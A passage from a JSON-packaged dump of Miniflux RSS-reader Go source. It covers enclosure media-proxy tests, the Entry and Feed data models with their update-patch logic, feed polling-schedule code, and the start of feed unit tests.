\"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\"},\n\t\t\texpectedURLChanged:      false,\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tenclosure := &Enclosure{\n\t\t\t\tURL:      tc.url,\n\t\t\t\tMimeType: tc.mimeType,\n\t\t\t}\n\n\t\t\toriginalURL := enclosure.URL\n\n\t\t\t// Call the method\n\t\t\tenclosure.ProxifyEnclosureURL(tc.mediaProxyOption, tc.mediaProxyResourceTypes)\n\n\t\t\t// Check if URL changed as expected\n\t\t\turlChanged := enclosure.URL != originalURL\n\t\t\tif urlChanged != tc.expectedURLChanged {\n\t\t\t\tt.Errorf(\"ProxifyEnclosureURL() URL changed = %v, want %v. Original: %s, New: %s\",\n\t\t\t\t\turlChanged, tc.expectedURLChanged, originalURL, enclosure.URL)\n\t\t\t}\n\n\t\t\t// If URL should have changed, verify it's not empty\n\t\t\tif tc.expectedURLChanged && enclosure.URL == \"\" {\n\t\t\t\tt.Error(\"ProxifyEnclosureURL() resulted in empty URL when proxification was expected\")\n\t\t\t}\n\n\t\t\t// If URL shouldn't have changed, verify it's identical\n\t\t\tif !tc.expectedURLChanged && enclosure.URL != originalURL {\n\t\t\t\tt.Errorf(\"ProxifyEnclosureURL() URL changed unexpectedly from %s to %s\", originalURL, enclosure.URL)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestEnclosureList_ProxifyEnclosureURL(t *testing.T) {\n\t// Initialize config for testing\n\tos.Clearenv()\n\tos.Setenv(\"BASE_URL\", \"http://localhost\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test-private-key\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\ttestCases := []struct {\n\t\tname                    string\n\t\tenclosures              EnclosureList\n\t\tmediaProxyOption        string\n\t\tmediaProxyResourceTypes []string\n\t\texpectedChangedCount    int\n\t}{\n\t\t{\n\t\t\tname: \"Mixed enclosures with all proxy mode\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{URL: \"http://example.com/audio.mp3\", MimeType: \"audio/mpeg\"},\n\t\t\t\t&Enclosure{URL: \"https://example.com/video.mp4\", MimeType: \"video/mp4\"},\n\t\t\t\t&Enclosure{URL: \"http://example.com/image.jpg\", MimeType: \"image/jpeg\"},\n\t\t\t\t&Enclosure{URL: \"http://example.com/doc.pdf\", MimeType: \"application/pdf\"},\n\t\t\t},\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\"},\n\t\t\texpectedChangedCount:    2, // audio and video should be proxified\n\t\t},\n\t\t{\n\t\t\tname: \"Mixed enclosures with http-only proxy mode\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{URL: \"http://example.com/audio.mp3\", MimeType: \"audio/mpeg\"},\n\t\t\t\t&Enclosure{URL: \"https://example.com/video.mp4\", MimeType: \"video/mp4\"},\n\t\t\t\t&Enclosure{URL: \"http://example.com/video2.mp4\", MimeType: \"video/mp4\"},\n\t\t\t},\n\t\t\tmediaProxyOption:        \"http-only\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\"},\n\t\t\texpectedChangedCount:    2, // only HTTP URLs should be proxified\n\t\t},\n\t\t{\n\t\t\tname: \"No media types in resource list\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{URL: \"http://example.com/audio.mp3\", MimeType: \"audio/mpeg\"},\n\t\t\t\t&Enclosure{URL: \"http://example.com/video.mp4\", MimeType: \"video/mp4\"},\n\t\t\t},\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpectedChangedCount:    0, // no matching resource types\n\t\t},\n\t\t{\n\t\t\tname: \"Proxy mode none\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{URL: \"http://example.com/audio.mp3\", MimeType: \"audio/mpeg\"},\n\t\t\t\t&Enclosure{URL: \"http://example.com/video.mp4\", MimeType: \"video/mp4\"},\n\t\t\t},\n\t\t\tmediaProxyOption:        \"none\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\"},\n\t\t\texpectedChangedCount:    0,\n\t\t},\n\t\t{\n\t\t\tname:                    \"Empty enclosure list\",\n\t\t\tenclosures:              EnclosureList{},\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\"},\n\t\t\texpectedChangedCount:    0,\n\t\t},\n\t\t{\n\t\t\tname: \"Enclosures with empty URLs\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{URL: \"\", MimeType: \"audio/mpeg\"},\n\t\t\t\t&Enclosure{URL: \"http://example.com/video.mp4\", MimeType: \"video/mp4\"},\n\t\t\t},\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\"},\n\t\t\texpectedChangedCount:    1, // only the non-empty URL should be processed\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\t// Store original URLs\n\t\t\toriginalURLs := make([]string, len(tc.enclosures))\n\t\t\tfor i, enclosure := range tc.enclosures {\n\t\t\t\toriginalURLs[i] = enclosure.URL\n\t\t\t}\n\n\t\t\t// Call the method\n\t\t\ttc.enclosures.ProxifyEnclosureURL(tc.mediaProxyOption, tc.mediaProxyResourceTypes)\n\n\t\t\t// Count how many URLs actually changed\n\t\t\tchangedCount := 0\n\t\t\tfor i, enclosure := range tc.enclosures {\n\t\t\t\tif enclosure.URL != originalURLs[i] {\n\t\t\t\t\tchangedCount++\n\t\t\t\t\t// Verify that changed URLs are not empty (unless they were empty originally)\n\t\t\t\t\tif originalURLs[i] != \"\" && enclosure.URL == \"\" {\n\t\t\t\t\t\tt.Errorf(\"Enclosure %d: ProxifyEnclosureURL resulted in empty URL\", i)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif changedCount != tc.expectedChangedCount {\n\t\t\t\tt.Errorf(\"ProxifyEnclosureURL() changed %d URLs, want %d\", changedCount, tc.expectedChangedCount)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestEnclosure_ProxifyEnclosureURL_EdgeCases(t *testing.T) {\n\t// Initialize config for testing\n\tos.Clearenv()\n\tos.Setenv(\"BASE_URL\", \"http://localhost\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test-private-key\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tt.Run(\"Empty resource types slice\", func(t *testing.T) {\n\t\tenclosure := &Enclosure{\n\t\t\tURL:      \"http://example.com/audio.mp3\",\n\t\t\tMimeType: \"audio/mpeg\",\n\t\t}\n\n\t\toriginalURL := enclosure.URL\n\t\tenclosure.ProxifyEnclosureURL(\"all\", []string{})\n\n\t\t// With empty resource types, URL should not change\n\t\tif enclosure.URL != originalURL {\n\t\t\tt.Errorf(\"URL should not change with empty resource types. Original: %s, New: %s\", originalURL, enclosure.URL)\n\t\t}\n\t})\n\n\tt.Run(\"Nil resource types slice\", func(t *testing.T) {\n\t\tenclosure := &Enclosure{\n\t\t\tURL:      \"http://example.com/audio.mp3\",\n\t\t\tMimeType: \"audio/mpeg\",\n\t\t}\n\n\t\toriginalURL := enclosure.URL\n\t\tenclosure.ProxifyEnclosureURL(\"all\", nil)\n\n\t\t// With nil resource types, URL should not change\n\t\tif enclosure.URL != originalURL {\n\t\t\tt.Errorf(\"URL should not change with nil resource types. Original: %s, New: %s\", originalURL, enclosure.URL)\n\t\t}\n\t})\n\tt.Run(\"Invalid proxy mode\", func(t *testing.T) {\n\t\tenclosure := &Enclosure{\n\t\t\tURL:      \"http://example.com/audio.mp3\",\n\t\t\tMimeType: \"audio/mpeg\",\n\t\t}\n\n\t\toriginalURL := enclosure.URL\n\t\tenclosure.ProxifyEnclosureURL(\"invalid-mode\", []string{\"audio\"})\n\n\t\t// With invalid proxy mode, the function still proxifies non-HTTPS URLs\n\t\t// because shouldProxifyURL defaults to checking URL scheme\n\t\tif enclosure.URL == originalURL {\n\t\t\tt.Errorf(\"URL should change for HTTP URL even with invalid proxy mode. Original: %s, New: %s\", originalURL, enclosure.URL)\n\t\t}\n\t})\n}\n"
  },
  {
    "path": "internal/model/entry.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\nimport (\n\t\"time\"\n)\n\n// Entry statuses and default sorting order.\nconst (\n\tEntryStatusUnread       = \"unread\"\n\tEntryStatusRead         = \"read\"\n\tEntryStatusRemoved      = \"removed\"\n\tDefaultSortingOrder     = \"published_at\"\n\tDefaultSortingDirection = \"asc\"\n)\n\n// Entry represents a feed item in the system.\ntype Entry struct {\n\tID          int64         `json:\"id\"`\n\tUserID      int64         `json:\"user_id\"`\n\tFeedID      int64         `json:\"feed_id\"`\n\tStatus      string        `json:\"status\"`\n\tHash        string        `json:\"hash\"`\n\tTitle       string        `json:\"title\"`\n\tURL         string        `json:\"url\"`\n\tCommentsURL string        `json:\"comments_url\"`\n\tDate        time.Time     `json:\"published_at\"`\n\tCreatedAt   time.Time     `json:\"created_at\"`\n\tChangedAt   time.Time     `json:\"changed_at\"`\n\tContent     string        `json:\"content\"`\n\tAuthor      string        `json:\"author\"`\n\tShareCode   string        `json:\"share_code\"`\n\tStarred     bool          `json:\"starred\"`\n\tReadingTime int           `json:\"reading_time\"`\n\tEnclosures  EnclosureList `json:\"enclosures\"`\n\tFeed        *Feed         `json:\"feed,omitempty\"`\n\tTags        []string      `json:\"tags\"`\n}\n\nfunc NewEntry() *Entry {\n\treturn &Entry{\n\t\tEnclosures: make(EnclosureList, 0),\n\t\tTags:       make([]string, 0),\n\t\tFeed: &Feed{\n\t\t\tCategory: &Category{},\n\t\t\tIcon:     &FeedIcon{},\n\t\t},\n\t}\n}\n\n// ShouldMarkAsReadOnView Return whether the entry should be marked as viewed considering all user settings and entry state.\nfunc (e *Entry) ShouldMarkAsReadOnView(user *User) bool {\n\t// Already read, no need to mark as read again. Removed entries are not marked as read\n\tif e.Status != EntryStatusUnread {\n\t\treturn false\n\t}\n\n\t// There is an enclosure, markAsRead will happen at enclosure completion time, no need to mark as read on view\n\tif user.MarkReadOnMediaPlayerCompletion && e.Enclosures.ContainsAudioOrVideo() {\n\t\treturn false\n\t}\n\n\t// The user wants to mark as read on view\n\treturn user.MarkReadOnView\n}\n\n// Entries represents a list of entries.\ntype Entries []*Entry\n\n// EntriesStatusUpdateRequest represents a request to change entries status.\ntype EntriesStatusUpdateRequest struct {\n\tEntryIDs []int64 `json:\"entry_ids\"`\n\tStatus   string  `json:\"status\"`\n}\n\n// EntryUpdateRequest represents a request to update an entry.\ntype EntryUpdateRequest struct {\n\tTitle   *string `json:\"title\"`\n\tContent *string `json:\"content\"`\n}\n\nfunc (e *EntryUpdateRequest) Patch(entry *Entry) {\n\tif e.Title != nil && *e.Title != \"\" {\n\t\tentry.Title = *e.Title\n\t}\n\n\tif e.Content != nil && *e.Content != \"\" {\n\t\tentry.Content = *e.Content\n\t}\n}\n"
  },
  {
    "path": "internal/model/feed.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n)\n\n// List of supported schedulers.\nconst (\n\tSchedulerRoundRobin     = \"round_robin\"\n\tSchedulerEntryFrequency = \"entry_frequency\"\n\t// Default settings for the feed query builder\n\tDefaultFeedSorting          = \"parsing_error_count\"\n\tDefaultFeedSortingDirection = \"desc\"\n)\n\n// Feed represents a feed in the application.\ntype Feed struct {\n\tID                          int64     `json:\"id\"`\n\tUserID                      int64     `json:\"user_id\"`\n\tFeedURL                     string    `json:\"feed_url\"`\n\tSiteURL                     string    `json:\"site_url\"`\n\tTitle                       string    `json:\"title\"`\n\tDescription                 string    `json:\"description\"`\n\tCheckedAt                   time.Time `json:\"checked_at\"`\n\tNextCheckAt                 time.Time `json:\"next_check_at\"`\n\tEtagHeader                  string    `json:\"etag_header\"`\n\tLastModifiedHeader          string    `json:\"last_modified_header\"`\n\tParsingErrorMsg             string    `json:\"parsing_error_message\"`\n\tParsingErrorCount           int       `json:\"parsing_error_count\"`\n\tScraperRules                string    `json:\"scraper_rules\"`\n\tRewriteRules                string    `json:\"rewrite_rules\"`\n\tBlocklistRules              string    `json:\"blocklist_rules\"`\n\tKeeplistRules               string    `json:\"keeplist_rules\"`\n\tBlockFilterEntryRules       string    `json:\"block_filter_entry_rules\"`\n\tKeepFilterEntryRules        string    `json:\"keep_filter_entry_rules\"`\n\tUrlRewriteRules             string    `json:\"urlrewrite_rules\"`\n\tUserAgent                   string    `json:\"user_agent\"`\n\tCookie                      string    `json:\"cookie\"`\n\tUsername                    string    `json:\"username\"`\n\tPassword                    string    `json:\"password\"`\n\tDisabled                    bool      `json:\"disabled\"`\n\tNoMediaPlayer               bool      `json:\"no_media_player\"`\n\tIgnoreHTTPCache             bool      `json:\"ignore_http_cache\"`\n\tAllowSelfSignedCertificates bool      `json:\"allow_self_signed_certificates\"`\n\tFetchViaProxy               bool      `json:\"fetch_via_proxy\"`\n\tHideGlobally                bool      `json:\"hide_globally\"`\n\tDisableHTTP2                bool      `json:\"disable_http2\"`\n\tPushoverEnabled             bool      `json:\"pushover_enabled\"`\n\tNtfyEnabled                 bool      `json:\"ntfy_enabled\"`\n\tCrawler                     bool      `json:\"crawler\"`\n\tIgnoreEntryUpdates          bool      `json:\"ignore_entry_updates\"`\n\tAppriseServiceURLs          string    `json:\"apprise_service_urls\"`\n\tWebhookURL                  string    `json:\"webhook_url\"`\n\tNtfyPriority                int       `json:\"ntfy_priority\"`\n\tNtfyTopic                   string    `json:\"ntfy_topic\"`\n\tPushoverPriority            int       `json:\"pushover_priority\"`\n\tProxyURL                    string    `json:\"proxy_url\"`\n\n\t// Non-persisted attributes\n\tCategory *Category `json:\"category,omitempty\"`\n\tIcon     *FeedIcon `json:\"icon\"`\n\tEntries  Entries   `json:\"entries,omitempty\"`\n\n\t// Internal attributes (not exposed in the API and not persisted in the database)\n\tTTL                    time.Duration `json:\"-\"`\n\tIconURL                string        `json:\"-\"`\n\tUnreadCount            int           `json:\"-\"`\n\tReadCount              int           `json:\"-\"`\n\tNumberOfVisibleEntries int           `json:\"-\"`\n}\n\ntype FeedCounters struct {\n\tReadCounters   map[int64]int `json:\"reads\"`\n\tUnreadCounters map[int64]int `json:\"unreads\"`\n}\n\nfunc (f *Feed) String() string {\n\treturn fmt.Sprintf(\"ID=%d, UserID=%d, FeedURL=%s, SiteURL=%s, Title=%s, Category={%s}\",\n\t\tf.ID,\n\t\tf.UserID,\n\t\tf.FeedURL,\n\t\tf.SiteURL,\n\t\tf.Title,\n\t\tf.Category,\n\t)\n}\n\n// WithCategoryID initializes the category attribute of the feed.\nfunc (f *Feed) WithCategoryID(categoryID int64) {\n\tf.Category = &Category{ID: categoryID}\n}\n\n// WithTranslatedErrorMessage adds a new error message and increment the error counter.\nfunc (f *Feed) WithTranslatedErrorMessage(message string) {\n\tf.ParsingErrorCount++\n\tf.ParsingErrorMsg = message\n}\n\n// ResetErrorCounter removes all previous errors.\nfunc (f *Feed) ResetErrorCounter() {\n\tf.ParsingErrorCount = 0\n\tf.ParsingErrorMsg = \"\"\n}\n\n// CheckedNow set attribute values when the feed is refreshed.\nfunc (f *Feed) CheckedNow() {\n\tf.CheckedAt = time.Now()\n\n\tif f.SiteURL == \"\" {\n\t\tf.SiteURL = f.FeedURL\n\t}\n}\n\n// ScheduleNextCheck set \"next_check_at\" of a feed based on the scheduler selected from the configuration.\nfunc (f *Feed) ScheduleNextCheck(weeklyCount int, refreshDelay time.Duration) time.Duration {\n\t// Default to the global config Polling Frequency.\n\tinterval := config.Opts.SchedulerRoundRobinMinInterval()\n\n\tif config.Opts.PollingScheduler() == SchedulerEntryFrequency {\n\t\tif weeklyCount <= 0 {\n\t\t\tinterval = config.Opts.SchedulerEntryFrequencyMaxInterval()\n\t\t} else {\n\t\t\tinterval = (7 * 24 * time.Hour) / time.Duration(weeklyCount*config.Opts.SchedulerEntryFrequencyFactor())\n\t\t\tinterval = min(interval, config.Opts.SchedulerEntryFrequencyMaxInterval())\n\t\t\tinterval = max(interval, config.Opts.SchedulerEntryFrequencyMinInterval())\n\t\t}\n\t}\n\n\t// Use the RSS TTL field, Retry-After, Cache-Control or Expires HTTP headers if defined.\n\tinterval = max(interval, refreshDelay)\n\n\t// Limit the max interval value for misconfigured feeds.\n\tswitch config.Opts.PollingScheduler() {\n\tcase SchedulerRoundRobin:\n\t\tinterval = min(interval, config.Opts.SchedulerRoundRobinMaxInterval())\n\tcase SchedulerEntryFrequency:\n\t\tinterval = min(interval, config.Opts.SchedulerEntryFrequencyMaxInterval())\n\t}\n\n\tf.NextCheckAt = time.Now().Add(interval)\n\treturn interval\n}\n\n// FeedCreationRequest represents the request to create a feed.\ntype FeedCreationRequest struct {\n\tFeedURL                     string `json:\"feed_url\"`\n\tCategoryID                  int64  `json:\"category_id\"`\n\tUserAgent                   string `json:\"user_agent\"`\n\tCookie                      string `json:\"cookie\"`\n\tUsername                    string `json:\"username\"`\n\tPassword                    string `json:\"password\"`\n\tCrawler                     bool   `json:\"crawler\"`\n\tIgnoreEntryUpdates          bool   `json:\"ignore_entry_updates\"`\n\tDisabled                    bool   `json:\"disabled\"`\n\tNoMediaPlayer               bool   `json:\"no_media_player\"`\n\tIgnoreHTTPCache             bool   `json:\"ignore_http_cache\"`\n\tAllowSelfSignedCertificates bool   `json:\"allow_self_signed_certificates\"`\n\tFetchViaProxy               bool   `json:\"fetch_via_proxy\"`\n\tHideGlobally                bool   `json:\"hide_globally\"`\n\tDisableHTTP2                bool   `json:\"disable_http2\"`\n\tScraperRules                string `json:\"scraper_rules\"`\n\tRewriteRules                string `json:\"rewrite_rules\"`\n\tBlocklistRules              string `json:\"blocklist_rules\"`\n\tKeeplistRules               string `json:\"keeplist_rules\"`\n\tBlockFilterEntryRules       string `json:\"block_filter_entry_rules\"`\n\tKeepFilterEntryRules        string `json:\"keep_filter_entry_rules\"`\n\tUrlRewriteRules             string `json:\"urlrewrite_rules\"`\n\tProxyURL                    string `json:\"proxy_url\"`\n}\n\ntype FeedCreationRequestFromSubscriptionDiscovery struct {\n\tContent      io.ReadSeeker\n\tETag         string\n\tLastModified string\n\n\tFeedCreationRequest\n}\n\n// FeedModificationRequest represents the request to update a feed.\ntype FeedModificationRequest struct {\n\tFeedURL                     *string `json:\"feed_url\"`\n\tSiteURL                     *string `json:\"site_url\"`\n\tTitle                       *string `json:\"title\"`\n\tDescription                 *string `json:\"description\"`\n\tScraperRules                *string `json:\"scraper_rules\"`\n\tRewriteRules                *string `json:\"rewrite_rules\"`\n\tBlocklistRules              *string `json:\"blocklist_rules\"`\n\tUrlRewriteRules             *string `json:\"urlrewrite_rules\"`\n\tKeeplistRules               *string `json:\"keeplist_rules\"`\n\tBlockFilterEntryRules       *string `json:\"block_filter_entry_rules\"`\n\tKeepFilterEntryRules        *string `json:\"keep_filter_entry_rules\"`\n\tCrawler                     *bool   `json:\"crawler\"`\n\tIgnoreEntryUpdates          *bool   `json:\"ignore_entry_updates\"`\n\tUserAgent                   *string `json:\"user_agent\"`\n\tCookie                      *string `json:\"cookie\"`\n\tUsername                    *string `json:\"username\"`\n\tPassword                    *string `json:\"password\"`\n\tCategoryID                  *int64  `json:\"category_id\"`\n\tDisabled                    *bool   `json:\"disabled\"`\n\tNoMediaPlayer               *bool   `json:\"no_media_player\"`\n\tIgnoreHTTPCache             *bool   `json:\"ignore_http_cache\"`\n\tAllowSelfSignedCertificates *bool   `json:\"allow_self_signed_certificates\"`\n\tFetchViaProxy               *bool   `json:\"fetch_via_proxy\"`\n\tHideGlobally                *bool   `json:\"hide_globally\"`\n\tDisableHTTP2                *bool   `json:\"disable_http2\"`\n\tProxyURL                    *string `json:\"proxy_url\"`\n}\n\n// Patch updates a feed with modified values.\nfunc (f *FeedModificationRequest) Patch(feed *Feed) {\n\tif f.FeedURL != nil && *f.FeedURL != \"\" {\n\t\tfeed.FeedURL = *f.FeedURL\n\t}\n\n\tif f.SiteURL != nil && *f.SiteURL != \"\" {\n\t\tfeed.SiteURL = *f.SiteURL\n\t}\n\n\tif f.Title != nil && *f.Title != \"\" {\n\t\tfeed.Title = *f.Title\n\t}\n\n\tif f.Description != nil && *f.Description != \"\" {\n\t\tfeed.Description = *f.Description\n\t}\n\n\tif f.ScraperRules != nil {\n\t\tfeed.ScraperRules = *f.ScraperRules\n\t}\n\n\tif f.RewriteRules != nil {\n\t\tfeed.RewriteRules = *f.RewriteRules\n\t}\n\n\tif f.UrlRewriteRules != nil {\n\t\tfeed.UrlRewriteRules = *f.UrlRewriteRules\n\t}\n\n\tif f.KeeplistRules != nil {\n\t\tfeed.KeeplistRules = *f.KeeplistRules\n\t}\n\n\tif f.BlocklistRules != nil {\n\t\tfeed.BlocklistRules = *f.BlocklistRules\n\t}\n\n\tif f.BlockFilterEntryRules != nil {\n\t\tfeed.BlockFilterEntryRules = *f.BlockFilterEntryRules\n\t}\n\n\tif f.KeepFilterEntryRules != nil {\n\t\tfeed.KeepFilterEntryRules = *f.KeepFilterEntryRules\n\t}\n\n\tif f.Crawler != nil {\n\t\tfeed.Crawler = *f.Crawler\n\t}\n\n\tif f.IgnoreEntryUpdates != nil {\n\t\tfeed.IgnoreEntryUpdates = *f.IgnoreEntryUpdates\n\t}\n\n\tif f.UserAgent != nil {\n\t\tfeed.UserAgent = *f.UserAgent\n\t}\n\n\tif f.Cookie != nil {\n\t\tfeed.Cookie = *f.Cookie\n\t}\n\n\tif f.Username != nil {\n\t\tfeed.Username = *f.Username\n\t}\n\n\tif f.Password != nil {\n\t\tfeed.Password = *f.Password\n\t}\n\n\tif f.CategoryID != nil && *f.CategoryID > 0 {\n\t\tfeed.Category.ID = *f.CategoryID\n\t}\n\n\tif f.Disabled != nil {\n\t\tfeed.Disabled = *f.Disabled\n\t}\n\n\tif f.NoMediaPlayer != nil {\n\t\tfeed.NoMediaPlayer = *f.NoMediaPlayer\n\t}\n\n\tif f.IgnoreHTTPCache != nil {\n\t\tfeed.IgnoreHTTPCache = *f.IgnoreHTTPCache\n\t}\n\n\tif f.AllowSelfSignedCertificates != nil {\n\t\tfeed.AllowSelfSignedCertificates = *f.AllowSelfSignedCertificates\n\t}\n\n\tif f.FetchViaProxy != nil {\n\t\tfeed.FetchViaProxy = *f.FetchViaProxy\n\t}\n\n\tif f.HideGlobally != nil {\n\t\tfeed.HideGlobally = *f.HideGlobally\n\t}\n\n\tif f.DisableHTTP2 != nil {\n\t\tfeed.DisableHTTP2 = *f.DisableHTTP2\n\t}\n\n\tif f.ProxyURL != nil {\n\t\tfeed.ProxyURL = *f.ProxyURL\n\t}\n}\n\n// Feeds is a list of feed\ntype Feeds []*Feed\n"
  },
  {
    "path": "internal/model/feed_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\nimport (\n\t\"os\"\n\t\"strconv\"\n\t\"testing\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n)\n\nconst (\n\tlargeWeeklyCount = 10080\n\tnoRefreshDelay   = 0\n)\n\nfunc TestFeedCategorySetter(t *testing.T) {\n\tfeed := &Feed{}\n\tfeed.WithCategoryID(int64(123))\n\n\tif feed.Category == nil {\n\t\tt.Fatal(`The category field should not be null`)\n\t}\n\n\tif feed.Category.ID != int64(123) {\n\t\tt.Error(`The category ID must be set`)\n\t}\n}\n\nfunc TestFeedErrorCounter(t *testing.T) {\n\tfeed := &Feed{}\n\tfeed.WithTranslatedErrorMessage(\"Some Error\")\n\n\tif feed.ParsingErrorMsg != \"Some Error\" {\n\t\tt.Error(`The error message must be set`)\n\t}\n\n\tif feed.ParsingErrorCount != 1 {\n\t\tt.Error(`The error counter must be set to 1`)\n\t}\n\n\tfeed.ResetErrorCounter()\n\n\tif feed.ParsingErrorMsg != \"\" {\n\t\tt.Error(`The error message must be removed`)\n\t}\n\n\tif feed.ParsingErrorCount != 0 {\n\t\tt.Error(`The error counter must be set to 0`)\n\t}\n}\n\nfunc TestFeedCheckedNow(t *testing.T) {\n\tfeed := &Feed{}\n\tfeed.FeedURL = \"https://example.org/feed\"\n\tfeed.CheckedNow()\n\n\tif feed.SiteURL != feed.FeedURL {\n\t\tt.Error(`The site URL must not be empty`)\n\t}\n\n\tif feed.CheckedAt.IsZero() {\n\t\tt.Error(`The checked date must be set`)\n\t}\n}\n\nfunc checkTargetInterval(t *testing.T, feed *Feed, targetInterval time.Duration, timeBefore time.Time, message string) {\n\tif feed.NextCheckAt.Before(timeBefore.Add(targetInterval)) {\n\t\tt.Errorf(`The next_check_at should be after timeBefore + %s`, message)\n\t}\n\tif feed.NextCheckAt.After(time.Now().Add(targetInterval)) {\n\t\tt.Errorf(`The next_check_at should be before now + %s`, message)\n\t}\n}\n\nfunc TestFeedScheduleNextCheckRoundRobinDefault(t *testing.T) {\n\tos.Clearenv()\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\ttimeBefore := time.Now()\n\tfeed := &Feed{}\n\tfeed.ScheduleNextCheck(0, noRefreshDelay)\n\n\tif feed.NextCheckAt.IsZero() {\n\t\tt.Error(`The next_check_at must be set`)\n\t}\n\n\ttargetInterval := config.Opts.SchedulerRoundRobinMinInterval()\n\tcheckTargetInterval(t, feed, targetInterval, timeBefore, \"TestFeedScheduleNextCheckRoundRobinDefault\")\n}\n\nfunc TestFeedScheduleNextCheckRoundRobinWithRefreshDelayAboveMinInterval(t *testing.T) {\n\tos.Clearenv()\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\ttimeBefore := time.Now()\n\tfeed := &Feed{}\n\n\tfeed.ScheduleNextCheck(0, config.Opts.SchedulerRoundRobinMinInterval()+30)\n\n\tif feed.NextCheckAt.IsZero() {\n\t\tt.Error(`The next_check_at must be set`)\n\t}\n\n\texpectedInterval := config.Opts.SchedulerRoundRobinMinInterval() + 30\n\tcheckTargetInterval(t, feed, expectedInterval, timeBefore, \"TestFeedScheduleNextCheckRoundRobinWithRefreshDelayAboveMinInterval\")\n}\n\nfunc TestFeedScheduleNextCheckRoundRobinWithRefreshDelayBelowMinInterval(t *testing.T) {\n\tos.Clearenv()\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\ttimeBefore := time.Now()\n\tfeed := &Feed{}\n\n\tfeed.ScheduleNextCheck(0, config.Opts.SchedulerRoundRobinMinInterval()-30)\n\n\tif feed.NextCheckAt.IsZero() {\n\t\tt.Error(`The next_check_at must be set`)\n\t}\n\n\texpectedInterval := config.Opts.SchedulerRoundRobinMinInterval()\n\tcheckTargetInterval(t, feed, expectedInterval, timeBefore, \"TestFeedScheduleNextCheckRoundRobinWithRefreshDelayBelowMinInterval\")\n}\n\nfunc TestFeedScheduleNextCheckRoundRobinWithRefreshDelayAboveMaxInterval(t *testing.T) {\n\tos.Clearenv()\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\ttimeBefore := time.Now()\n\tfeed := &Feed{}\n\n\tfeed.ScheduleNextCheck(0, config.Opts.SchedulerRoundRobinMaxInterval()+30)\n\n\tif feed.NextCheckAt.IsZero() {\n\t\tt.Error(`The next_check_at must be set`)\n\t}\n\n\texpectedInterval := config.Opts.SchedulerRoundRobinMaxInterval()\n\tcheckTargetInterval(t, feed, expectedInterval, timeBefore, \"TestFeedScheduleNextCheckRoundRobinWithRefreshDelayAboveMaxInterval\")\n}\n\nfunc TestFeedScheduleNextCheckRoundRobinMinInterval(t *testing.T) {\n\tminInterval := 1\n\tos.Clearenv()\n\tos.Setenv(\"POLLING_SCHEDULER\", \"round_robin\")\n\tos.Setenv(\"SCHEDULER_ROUND_ROBIN_MIN_INTERVAL\", strconv.Itoa(minInterval))\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\ttimeBefore := time.Now()\n\tfeed := &Feed{}\n\tfeed.ScheduleNextCheck(0, noRefreshDelay)\n\n\tif feed.NextCheckAt.IsZero() {\n\t\tt.Error(`The next_check_at must be set`)\n\t}\n\n\texpectedInterval := time.Duration(minInterval) * time.Minute\n\tcheckTargetInterval(t, feed, expectedInterval, 